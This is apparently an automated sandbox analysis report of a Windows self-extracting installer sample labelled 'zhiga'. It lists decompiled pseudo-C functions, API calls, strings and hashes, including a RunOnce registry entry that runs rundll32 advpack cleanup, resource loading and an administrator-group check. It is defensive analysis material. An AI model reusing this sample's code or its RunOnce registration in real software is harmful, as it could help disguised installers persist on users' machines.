							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
							E00A3171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00A36CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00a32272
0x00a32277
0x00a32279
0x00a32283
0x00a32289
0x00a322ab
0x00a322b1
0x00a322c4
0x00a322e0
0x00a322e6
0x00a322f5
0x00a3230d
0x00a3231c
0x00a3231c
0x00a32321
0x00a3233a
0x00a32342
0x00a32348
0x00a3234b
0x00a3234c
0x00a3234c
0x00a3234e
0x00a3234f
0x00a3236e
0x00a3236e
0x00a3237a
0x00a32380
0x00a32380
0x00a32381
0x00a32381
0x00a3238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 00A322A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 00A322D8
memset.MSVCRT ref: 00A322F5
GetSystemDirectoryA.KERNEL32 ref: 00A32305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 00A3236E
RegCloseKey.ADVAPI32(?), ref: 00A3237A

Strings

wextract_cleanup0, xrefs: 00A3227C, 00A322CD, 00A32363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A32299
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00A3232D
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A32321

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-4285006626
Opcode ID: 1f2701dbe645393eb0eec23e905dd44c10d12e8996d190af684700b278a4417f
Instruction ID: 743b5782e046cea0d9a95bd30a70136d29c57022ad95b163e337ec8cdd38ef3e
Opcode Fuzzy Hash: 1f2701dbe645393eb0eec23e905dd44c10d12e8996d190af684700b278a4417f
Instruction Fuzzy Hash: 9231C571A00228BBDB25DB50DC89FEBBB7CEF15700F0401A9B54DAA050EA75AB89CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A33100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00A33100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0xa38590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0xa38590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E00A343D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0xa38d4c);
					SetWindowTextA(_t33, "zhiga");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0xa388b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E00A330C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00a33108
0x00a3310b
0x00a331b7
0x00a331ca
0x00a331d0
0x00a331d0
0x00a331da
0x00000000
0x00a331da
0x00a33111
0x00a33114
0x00a33136
0x00a33136
0x00a33138
0x00a3313b
0x00a33141
0x00000000
0x00a33143
0x00a33116
0x00a3311b
0x00a3314b
0x00a33151
0x00a33158
0x00a3316a
0x00a33176
0x00a3317d
0x00a3318b
0x00a3319e
0x00a331a3
0x00000000
0x00a331ad
0x00a33120
0x00000000
0x00000000
0x00a3312a
0x00a33134
0x00000000
0x00000000
0x00000000
0x00a33134
0x00a3312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 00A3313B
GetDesktopWindow.USER32 ref: 00A3314B
SetDlgItemTextA.USER32(?,00000834), ref: 00A3316A
SetWindowTextA.USER32(?,zhiga), ref: 00A33176
SetForegroundWindow.USER32(?), ref: 00A3317D
GetDlgItem.USER32(?,00000834), ref: 00A33185
GetWindowLongA.USER32(00000000,000000FC), ref: 00A33190
SetWindowLongA.USER32(00000000,000000FC,00A330C0), ref: 00A331A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 00A331CA

Strings

zhiga, xrefs: 00A33170

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: zhiga
API String ID: 3785188418-3705506974
Opcode ID: 7d88a789e7ca989b01011c2537d3c329746f94862572f8bdc9bdf24db2fff0d2
Instruction ID: 0ad9fe422a4a124a388a6350fc34f751b1f30769c88fc3a6d0cf3bd3b996a657
Opcode Fuzzy Hash: 7d88a789e7ca989b01011c2537d3c329746f94862572f8bdc9bdf24db2fff0d2
Instruction Fuzzy Hash: 1011D03220C321BBDF11DFA4AC0DBAA3A64FB6A721F100710F855D61E0DBB89A42D742

Uniqueness

Uniqueness Score: -1.00%

Function 00A3468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00A3468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00a34699
0x00a3469b
0x00a346a9
0x00a346af
0x00a346b4
0x00a346bc
0x00a346f9
0x00000000
0x00a346f9
0x00a346d9
0x00a346dd
0x00000000
0x00000000
0x00a346e5
0x00a346ef
0x00000000
0x00a346f5
0x00a346ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
memcpy_s.MSVCRT ref: 00A346E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

Strings

TITLE, xrefs: 00A3469D, 00A346C0
zhiga, xrefs: 00A346E4

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$zhiga
API String ID: 3370778649-3314309
Opcode ID: 787660b419f4b6856fdc05112bf7876a87e66210fbae6870fa7bafa4cf879bb7
Instruction ID: 7585da3eba653d5a6aa345347dbcb721e45ded150858c976967fcde15f7dc967
Opcode Fuzzy Hash: 787660b419f4b6856fdc05112bf7876a87e66210fbae6870fa7bafa4cf879bb7
Instruction Fuzzy Hash: E701A9362442207BE3105BE56C4DF6B7E2CDBDAF51F040415FA8997151CAB1984287B6

Uniqueness

Uniqueness Score: -1.00%

Function 00A317EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00A317EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0xa38004; // 0xb6b6972c
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0xa3a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00A36CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x00a317f6
0x00a317fd
0x00a31805
0x00a3180b
0x00a3180d
0x00a31815
0x00a31818
0x00a31820
0x00a31824
0x00a3182c
0x00a31832
0x00a31837
0x00a31851
0x00a31854
0x00a3185d
0x00a31862
0x00a3186c
0x00a31872
0x00a31877
0x00a3187e
0x00a3187e
0x00a31883
0x00a31883
0x00a3185d
0x00a3188a
0x00a3188a
0x00a318a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00A318DD), ref: 00A3181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00A3182C
AllocateAndInitializeSid.ADVAPI32(00A318DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00A318DD), ref: 00A31855
FreeSid.ADVAPI32(?,?,?,?,00A318DD), ref: 00A31883
FreeLibrary.KERNEL32(00000000,?,?,?,00A318DD), ref: 00A3188A

Strings

advapi32.dll, xrefs: 00A31810
CheckTokenMembership, xrefs: 00A31826

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 00a3177e7d115689877bd69aea02f5d92d0c4aee8643ad7ad999bee1689125a2
Instruction ID: d286d753a58efafb6c3093c82453154982e7cb8f8cc7c75271977c7b2def68ec
Opcode Fuzzy Hash: 00a3177e7d115689877bd69aea02f5d92d0c4aee8643ad7ad999bee1689125a2
Instruction Fuzzy Hash: 5A119371E00219ABDB14DFE4DC49ABEBB78EF45701F100569F942E2290DB308D018B95

Uniqueness

Uniqueness Score: -1.00%

Function 00A33450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A33450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E00A343D0(_t24, _t12);
					SetWindowTextA(_t24, "zhiga");
					SetDlgItemTextA(_t24, 0x838,  *0xa39404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0xa391dc = 1;
					goto L8;
				}
				return 0;
			}

0x00a33459
0x00a3345c
0x00a334d8
0x00a334de
0x00000000
0x00a334e0
0x00a3345e
0x00a33463
0x00a3349a
0x00a334a0
0x00a334a7
0x00a334b2
0x00a334c4
0x00a334cb
0x00000000
0x00a334cb
0x00a33468
0x00a3346e
0x00a33474
0x00000000
0x00000000
0x00a3347c
0x00a3348c
0x00a33490
0x00000000
0x00a33496
0x00a33484
0x00000000
0x00000000
0x00a33486
0x00000000
0x00a33486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00A33490
GetDesktopWindow.USER32 ref: 00A3349A
SetWindowTextA.USER32(?,zhiga), ref: 00A334B2
SetDlgItemTextA.USER32(?,00000838), ref: 00A334C4
SetForegroundWindow.USER32(?), ref: 00A334CB
EndDialog.USER32(?,00000002), ref: 00A334D8

Strings

zhiga, xrefs: 00A334AC

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: zhiga
API String ID: 852535152-3705506974
Opcode ID: f0eede38bf6ef9a3bcd5efd54bd83c511e51678c7cb2d91704bd590cae73570e
Instruction ID: f9dfdd2a2ccd5f2c029cd51cdb44e1304b38686515a94fcc577e79ea7391ee6d
Opcode Fuzzy Hash: f0eede38bf6ef9a3bcd5efd54bd83c511e51678c7cb2d91704bd590cae73570e
Instruction Fuzzy Hash: 0001F733248224ABDF169FA5DC0C9AE7B64EF19702F008110F987965B1CB719F43DB85

Uniqueness

Uniqueness Score: -1.00%

Function 00A32AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00A32AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0xa38004; // 0xb6b6972c
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0xa39a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00A31680(_t65, E00A317C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E00A365E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00A31680(_t65, E00A317C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00A36CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00a32aac
0x00a32ab7
0x00a32abc
0x00a32abe
0x00a32ac3
0x00a32ac6
0x00a32ac9
0x00a32ace
0x00a32ae6
0x00a32bdc
0x00a32bdc
0x00a32be0
0x00000000
0x00000000
0x00a32af2
0x00a32afc
0x00a32b00
0x00a32b05
0x00a32b05
0x00a32b0b
0x00a32bca
0x00a32bd1
0x00a32b11
0x00a32b18
0x00a32b26
0x00a32b99
0x00a32bc8
0x00000000
0x00000000
0x00a32b9b
0x00a32bae
0x00a32bb3
0x00a32bb5
0x00a32bb5
0x00a32bb8
0x00a32bb8
0x00a32bba
0x00a32bbb
0x00000000
0x00a32bb8
0x00a32b28
0x00a32b2e
0x00a32b33
0x00a32b39
0x00a32b3c
0x00a32b3c
0x00a32b3e
0x00a32b3f
0x00a32b55
0x00a32b5d
0x00a32b64
0x00a32b64
0x00a32b7a
0x00a32b7f
0x00a32b81
0x00a32b81
0x00a32b84
0x00a32b84
0x00a32b86
0x00a32b87
0x00a32bbf
0x00a32bc1
0x00a32bc1
0x00a32b26
0x00a32bda
0x00a32bda
0x00a32be6
0x00a32be6
0x00a32bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00A32AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00A32AF2
CharNextA.USER32(?), ref: 00A32B12
CharUpperA.USER32 ref: 00A32B1E
CharPrevA.USER32(?,?), ref: 00A32B55
CharNextA.USER32(?), ref: 00A32BD4

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 38c15ca2d040620062019a3dde25830e540b34fe32679b3769cb3de8c9a491e2
Instruction ID: f03dd6b14643cbf03511828a38774e783f9a690f825074952e2bb8a9ae2e7318
Opcode Fuzzy Hash: 38c15ca2d040620062019a3dde25830e540b34fe32679b3769cb3de8c9a491e2
Instruction Fuzzy Hash: DF4126346042959FDB159F349C54BFDBBB99F66300F14419AF8C287202DB358E87CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A343D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00A343D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0xa38004; // 0xb6b6972c
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00A36CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x00a343d0
0x00a343d8
0x00a343df
0x00a343e6
0x00a343ec
0x00a343f1
0x00a34400
0x00a34403
0x00a3440b
0x00a34420
0x00a34429
0x00a34437
0x00a34444
0x00a34447
0x00a3444d
0x00a34454
0x00a3445b
0x00a34460
0x00a34461
0x00a34467
0x00a3446f
0x00a34473
0x00a34473
0x00a34463
0x00a34463
0x00a34463
0x00a3447a
0x00a34481
0x00a34484
0x00a3448a
0x00a34492
0x00a34496
0x00a34496
0x00a34486
0x00a34486
0x00a34486
0x00a344b8

APIs

GetWindowRect.USER32(?,?), ref: 00A343F1
GetWindowRect.USER32(00000000,?), ref: 00A3440B
GetDC.USER32(?), ref: 00A34423
GetDeviceCaps.GDI32(00000000,00000008), ref: 00A3442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A3443A
ReleaseDC.USER32(?,00000000), ref: 00A34447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 00A344A2

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 960d4002ec6435f484e9ef0ff923ffc12051bf8442d5067279bd4aa74a3107b2
Instruction ID: 925b26359d53d87bca27a61d9ed74ed9075e788d955136d2013cc4958cfe8aa9
Opcode Fuzzy Hash: 960d4002ec6435f484e9ef0ff923ffc12051bf8442d5067279bd4aa74a3107b2
Instruction Fuzzy Hash: 05312E72E00119AFCB14CFF8DD899EEBBB5EB99310F154269F805F7250DA70AD058B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A36298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00A36298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0xa38004; // 0xb6b6972c
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E00A3171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0xa39124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0xa3a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E00A3171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00A36CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00a36298
0x00a362a0
0x00a362a7
0x00a362ad
0x00a362af
0x00a362bb
0x00a362c3
0x00a362c4
0x00a3633b
0x00a3633b
0x00a36345
0x00a3634d
0x00000000
0x00000000
0x00a362da
0x00a362de
0x00a3635f
0x00a36369
0x00a362e0
0x00a362e0
0x00a362e0
0x00a362e3
0x00a362e5
0x00a362e5
0x00a362e8
0x00a362e8
0x00a362ea
0x00a362eb
0x00a362ef
0x00a362f1
0x00a362f3
0x00a36302
0x00a36308
0x00a3630d
0x00a36314
0x00a36314
0x00a36316
0x00a36319
0x00a36355
0x00a36357
0x00a3631b
0x00a3631b
0x00a36331
0x00a36334
0x00a36339
0x00000000
0x00a36339
0x00a36319
0x00a3636b
0x00a3637d
0x00a3637d
0x00000000

APIs

Part of subcall function 00A3171E: _vsnprintf.MSVCRT ref: 00A31750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,00A351CA,00000004,00000024,00A32F71,?,00000002,00000000), ref: 00A362CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,00A351CA,00000004,00000024,00A32F71,?,00000002,00000000), ref: 00A362D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00A351CA,00000004,00000024,00A32F71,?,00000002,00000000), ref: 00A3631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00A36345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00A351CA,00000004,00000024,00A32F71,?,00000002,00000000), ref: 00A36357

Strings

UPDFILE%lu, xrefs: 00A362B3, 00A36329

Memory Dump Source

